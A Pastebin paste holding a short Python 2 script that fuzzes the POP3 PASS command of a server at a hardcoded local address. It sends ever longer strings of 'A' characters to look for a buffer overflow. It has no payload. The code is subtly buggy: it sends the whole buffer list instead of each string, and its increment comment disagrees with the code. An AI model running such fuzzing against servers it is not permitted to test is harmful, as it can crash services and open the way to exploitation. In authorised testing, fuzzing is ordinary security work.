Guest User

Untitled

a guest
Jun 13th, 2018
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.88 KB | None | 0 0
  1. #!/usr/bin/python
  2. import struct
  3. import socket
  4.  
  5. # Create an array of buffers,from 20 to 2000, with increments of 20.
  6. buffer=["A"]
  7. counter=20
  8. while len(buffer) <= 30:
  9. buffer.append("A"*counter)
  10. counter=counter+200
  11.  
  12. # Define the POP commands to be fuzzed
  13. commands=["PASS"]
  14.  
  15. # Run the fuzzing loop
  16. for command in commands:
  17. for string in buffer:
  18. print "Sending the "+command+" command with "+ str(len(string))+"bytes."
  19. s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  20. connect=s.connect(('192.168.0.97',110)) #hardcoded IP address
  21. s.recv(1024)
  22. s.send('USER username \r\n') # login procedure
  23. s.recv(1024)
  24. s.send('PASS '+ buffer + '\r\n')
  25. s.recv(1024)
  26. s.send('QUIT\r\n')
  27. s.close()
  28. print "\nDone!"
Add Comment
Please, Sign In to add comment